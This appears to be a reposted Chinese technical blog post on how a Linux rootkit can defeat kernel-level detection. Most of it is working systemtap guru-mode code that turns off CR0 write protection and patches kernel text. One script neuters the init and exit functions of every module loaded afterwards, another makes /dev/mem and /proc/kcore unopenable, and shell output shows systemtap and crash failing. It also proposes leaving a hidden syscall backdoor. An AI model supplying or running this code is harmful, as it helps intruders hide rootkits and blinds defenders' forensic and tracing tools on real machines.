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Linux Rootkit躲避内核检测

由 一曲冷凌霜 提交于 2020-07-28 02:54:54

来自 Linux Rootkit如何避开内核检测的

Rootkit在登堂入室并得手后，还要记得把门锁上。

如果我们想注入一个Rootkit到内核，同时不想被侦测到，那么我们需要做的是精妙的隐藏，并保持低调静悄悄，这个话题我已经谈过了，诸如进程摘链，TCP链接摘链潜伏等等，详情参见：
https://blog.csdn.net/dog250/article/details/105371830
https://blog.csdn.net/dog250/article/details/105394840

然则天网恢恢，疏而不漏，马脚总是要露出来的。如果已经被怀疑，如何反制呢？

其实第一时间采取反制措施势必重要！我们需要的只是占领制高点，让后续的侦测手段无从开展。

我们必须知道都有哪些侦测措施用来应对Rootkit，常见的，不外乎以下：

  • systemtap，raw kprobe/jprobe，ftrace等跟踪机制。它们通过内核模块起作用。
  • 自研内核模块，采用指令特征匹配，指令校验机制排查Rootkit。
  • gdb/kdb/crash调试机制，它们通过/dev/mem，/proc/kcore起作用。

和杀毒软件打架一样，Rootkit和反Rootkit也是互搏的对象。 无论如何互搏，其战场均在内核态。

很显然，我们要做的就是：

  1. 第一时间封堵内核模块的加载。
  2. 第一时间封堵/dev/mem，/proc/kcore的打开。

行文至此，我们应该已经可以说出无数种方法来完成上面的事情，对我个人而言，我的风格肯定又是二进制hook，但这次我希望用一种 正规的方式 来搞事情。

什么是正规的方式，什么又是奇技淫巧呢？

我们知道，Linux内核的text段是在编译时静态确定的，加载时偶尔有重定向，但依然保持着紧凑的布局，所有的内核函数均在一个范围固定的紧凑内存空间内。

因此凡是往超过该固定范围的地方进行call/jmp的，基本都是违规，都应该严查。换句话说， 静态代码不能往动态内存进行直接的call/jmp(毕竟静态代码并不知道动态地址啊)， 如果静态代码需要动态的函数完成某种任务，那么只能用 回调， 而回调函数在指令层面是要借助寄存器来寻址的，而不可能用rel32立即数来寻址。

如果我们在静态的代码中hack掉一条call/jmp指令，使得它以新的立即数作为操作数call/jmp到我们的动态代码，那么这就是一个奇技淫巧，这就是不正规的方式。

反之，如果我们调用Linux内核现成的接口注册一个回调函数来完成我们的任务，那么这就是一种正规的方式，本文中我将使用一种基于 内核通知链(notifier chain) 的正规技术，来封堵内核模块。

下面步入正题。

首先，我们来看第一点。下面的stap脚本展示了如何做：

#!/usr/bin/stap -g
// dismod.stp
%{
// 我们利用通知链机制。
// 每当内核模块进行加载时，都会有消息在通知链上通知，我们只需要注册一个handler。
// 我们的handler让该模块“假加载”！
static int dismod_module_notify(struct notifier_block *self, unsigned long action, void *data)
{
	int i;
	struct module *mod = (struct module *)data;
	unsigned char *init, *exit;
	unsigned long cr0;

	if (action != MODULE_STATE_COMING)
		return NOTIFY_OK;

	init = (unsigned char *)mod->init;
	exit = (unsigned char *)mod->exit;
	// 为了避免校准rel32调用偏移，直接使用汇编。
	asm volatile("mov %%cr0, %%r11; mov %%r11, %0;\n" :"=m"(cr0)::);
	clear_bit(16, &cr0);
	asm ( "mov %0, %%r11; mov %%r11, %%cr0;" ::"m"(cr0) :);
	// 把模块的init函数换成"return 0;"
	init[0] = 0x31;	// xor %eax, %eax
	init[1] = 0xc0;	// retq
	init[2] = 0xc3;	// retq
	// 把模块的exit函数换成"return;" 防止侦测模块在exit函数中做一些事情。
	exit[0] = 0xc3;
	set_bit(16, &cr0);
	asm ( "mov %0, %%r11; mov %%r11, %%cr0;" ::"m"(cr0) :);

	return NOTIFY_OK;
}

struct notifier_block *dismod_module_nb;
notifier_fn_t _dismod_module_notify;
%}

function dismod()
%{
	int ret = 0;

	// 正规的方法，我们可以直接从vmalloc区域直接分配内存。
	dismod_module_nb = (struct notifier_block *)vmalloc(sizeof(struct notifier_block));
	if (!dismod_module_nb) {
		printk("malloc nb failed\n");
		return;
	}
	// 必须使用__vmalloc接口分配可执行(PAGE_KERNEL_EXEC)内存。
	_dismod_module_notify = (notifier_fn_t)__vmalloc(0xfff, GFP_KERNEL|__GFP_HIGHMEM, PAGE_KERNEL_EXEC);
	if (!_dismod_module_notify) {
		printk("malloc stub failed\n");
		return;
	}

	memcpy(_dismod_module_notify, dismod_module_notify, 0xfff);
	dismod_module_nb->notifier_call = _dismod_module_notify;
	dismod_module_nb->priority = 1;

	ret = register_module_notifier(dismod_module_nb);
	if (ret) {
		printk("notifier register failed\n");
		return;
	}
%}

probe begin
{
	dismod();
	exit();
}

现在，让我们运行上述脚本：

[root@localhost test]# ./dismod.stp
[root@localhost test]#

我们的预期是，此后所有的模块将会 “假装” 成功加载进内核，但实际上并不起任何作用，因为模块的_init函数被短路绕过，不再执行。

来吧，我们写一个简单的内核模块，看看效果：

// testmod.c
#include <linux/module.h>

noinline int test_module_function(int i)
{
	printk("%d\n", i);
	// 我们的测试模块非常狠，一加载就让内核panic。
	panic("shabi"); 
}

static int __init testmod_init(void)
{
	printk("init\n");
	test_module_function(1234);
	return 0;
}

static void __exit testmod_exit(void)
{
	printk("exit\n");
}

module_init(testmod_init);
module_exit(testmod_exit);
MODULE_LICENSE("GPL");

如果我们在没有执行dismod.stp的情况下加载上述模块，显而易见，内核会panic，万劫不复。但实际上呢？

编译，加载之：

[root@localhost test]# insmod ./testmod.ko
[root@localhost test]# lsmod |grep testmod
testmod                12472  0
[root@localhost test]# cat /proc/kallsyms |grep testmod
ffffffffa010b027 t testmod_exit	[testmod]
ffffffffa010d000 d __this_module	[testmod]
ffffffffa010b000 t test_module_function	[testmod]
ffffffffa010b027 t cleanup_module	[testmod]
[root@localhost test]# rmmod testmod
[root@localhost test]#
[root@localhost test]# echo $?
0

内核什么也没有打印，也并没有panic，相反，模块成功载入，并且其所有的符号均已经注册成功，并且还能成功卸载。这意味着，模块机制失效了！

我们试试还能使用systemtap么？

[root@localhost ~]# stap -e 'probe kernel.function("do_fork") { printf("do_fork\n"); }'
ERROR: Cannot attach to module stap_aa0322744e3a33fc0c3a1a7cd811d932_3097 control channel; not running?
ERROR: Cannot attach to module stap_aa0322744e3a33fc0c3a1a7cd811d932_3097 control channel; not running?
ERROR: 'stap_aa0322744e3a33fc0c3a1a7cd811d932_3097' is not a zombie systemtap module.
WARNING: /usr/bin/staprun exited with status: 1
Pass 5: run failed.  [man error::pass5]

看来不行了。

假设该机制用于Rootkit的反侦测，如果想用stap跟踪内核，进而查出异常点，这一招已经失效。

接下来，让我们封堵/dev/mem，/proc/kcore，而这个简直太容易了：

#!/usr/bin/stap -g
// diskcore.stp
function kcore_poke()
%{
	unsigned char *_open_kcore, *_open_devmem;
	unsigned char ret_1[6];
	unsigned long cr0;

	_open_kcore = (void *)kallsyms_lookup_name("open_kcore");
	if (!_open_kcore)
		return;
	_open_devmem = (void *)kallsyms_lookup_name("open_port");
	if (!_open_devmem)
		return;

	// 下面的指令表示 return -1;即返回错误！也就意味着“文件不可打开”。
	ret_1[0] = 0xb8; // mov $-1, %eax;
	ret_1[1] = 0xff;
	ret_1[2] = 0xff;
	ret_1[3] = 0xff;
	ret_1[4] = 0xff;
	ret_1[5] = 0xc3; // retq

	// 这次我们俗套一把，不用text poke，借用更简单的CR0来完成text的写。
	cr0 = read_cr0();
	clear_bit(16, &cr0);
	write_cr0(cr0);
	// text内存已经可写，直接用memcpy来吧。
	memcpy(_open_kcore, ret_1, sizeof(ret_1));
	memcpy(_open_devmem, ret_1, sizeof(ret_1));
	set_bit(16, &cr0);
	write_cr0(cr0);
%}

probe begin
{
	kcore_poke();
	exit();
}

来吧，我们试一下crash命令：

[root@localhost ~]# crash /usr/lib/debug/usr/lib/modules/3.10.x86_64/vmlinux /dev/mem
...
This program has absolutely no warranty.  Enter "help warranty" for details.

crash: /dev/mem: Operation not permitted

Usage:

  crash [OPTION]... NAMELIST MEMORY-IMAGE[@ADDRESS]	(dumpfile form)
  crash [OPTION]... [NAMELIST]             		(live system form)

Enter "crash -h" for details.
[root@localhost ~]# crash /usr/lib/debug/usr/lib/modules/3.10.x86_64/vmlinux /proc/kcore
...
crash: /proc/kcore: Operation not permitted
...

哈哈，完全无法调试live kernel了！试问如何抓住Rootkit现场？

注意，上面的两个机制，必须让禁用/dev/mem，/proc/kcore先于封堵模块执行，不然就会犯形而上学的错误，自己打自己。上述方案仅做演示，正确的做法应该是将它们合在一起：

#!/usr/bin/stap -g
// anti-sense.stp
%{
static int dismod_module_notify(struct notifier_block *self, unsigned long action, void *data)
{
	int i;
	struct module *mod = (struct module *)data;
	unsigned char *init, *exit;
	unsigned long cr0;

	if (action != MODULE_STATE_COMING)
		return NOTIFY_OK;

	init = (unsigned char *)mod->init;
	exit = (unsigned char *)mod->exit;
	// 为了避免校准rel32调用偏移，直接使用汇编。
	asm volatile("mov %%cr0, %%r11; mov %%r11, %0;\n" :"=m"(cr0)::);
	clear_bit(16, &cr0);
	asm ( "mov %0, %%r11; mov %%r11, %%cr0;" ::"m"(cr0) :);
	// 把模块的init函数换成"return 0;"
	init[0] = 0x31;	// xor %eax, %eax
	init[1] = 0xc0;	// retq
	init[2] = 0xc3;	// retq
	// 把模块的exit函数换成"return;"
	exit[0] = 0xc3;
	set_bit(16, &cr0);
	asm ( "mov %0, %%r11; mov %%r11, %%cr0;" ::"m"(cr0) :);

	return NOTIFY_OK;
}

struct notifier_block *dismod_module_nb;
notifier_fn_t _dismod_module_notify;
%}

function diskcore()
%{
	unsigned char *_open_kcore, *_open_devmem;
	unsigned char ret_1[6];
	unsigned long cr0;

	_open_kcore = (void *)kallsyms_lookup_name("open_kcore");
	if (!_open_kcore)
		return;
	_open_devmem = (void *)kallsyms_lookup_name("open_port");
	if (!_open_devmem)
		return;

	// 下面的指令表示 return -1;
	ret_1[0] = 0xb8; // mov $-1, %eax;
	ret_1[1] = 0xff;
	ret_1[2] = 0xff;
	ret_1[3] = 0xff;
	ret_1[4] = 0xff;
	ret_1[5] = 0xc3; // retq

	// 这次我们俗套一把，不用text poke，借用更简单的CR0来完成text的写。
	cr0 = read_cr0();
	clear_bit(16, &cr0);
	write_cr0(cr0);
	memcpy(_open_kcore, ret_1, sizeof(ret_1));
	memcpy(_open_devmem, ret_1, sizeof(ret_1));
	set_bit(16, &cr0);
	write_cr0(cr0);
%}

function dismod()
%{
	int ret = 0;

	// 正规的方法，我们可以直接从vmalloc区域直接分配内存。
	dismod_module_nb = (struct notifier_block *)vmalloc(sizeof(struct notifier_block));
	if (!dismod_module_nb) {
		printk("malloc nb failed\n");
		return;
	}
	// 必须使用__vmalloc接口分配可执行(PAGE_KERNEL_EXEC)内存。
	_dismod_module_notify = (notifier_fn_t)__vmalloc(0xfff, GFP_KERNEL|__GFP_HIGHMEM, PAGE_KERNEL_EXEC);
	if (!_dismod_module_notify) {
		printk("malloc stub failed\n");
		return;
	}

	memcpy(_dismod_module_notify, dismod_module_notify, 0xfff);
	dismod_module_nb->notifier_call = _dismod_module_notify;
	dismod_module_nb->priority = 1;

	printk("notify addr:%p\n", _dismod_module_notify);
	ret = register_module_notifier(dismod_module_nb);
	if (ret) {
		printk("notify register failed\n");
		return;
	}
%}

probe begin
{
	dismod();
	diskcore();
	exit();
}

从此以后，若想逮到之前的那些Rootkit，你无法加载内核模块，无法crash调试，无法自己编程mmap /dev/mem，重启吧！重启之后呢？一切归于尘土。

然而，我们自己怎么办？这将把我们自己的退路也同时封死，只要使用电压冻结住内存快照，离线分析，真相必将大白！我们必须给自己留个退路，以便捣毁并恢复现场后，全身而退，怎么做到呢？

很容易，还记得在文章 “Linux动态为内核添加新的系统调用” 中的方法吗？我们封堵了前门的同时，以新增系统调用的方式留下后门，岂不是很正常的想法？

最后，上面的所有内容，本无善恶褒贬，同样可以利用它来 防止内核被Rootkit注入。 重要的是，谁的速度快，谁先占领制高点。

是的。经理也是这样想的。然而，经理不拉二胡，因为拉二胡落下的松香灰会把经理west trousers弄脏。

浙江温州皮鞋湿，下雨进水不会胖。

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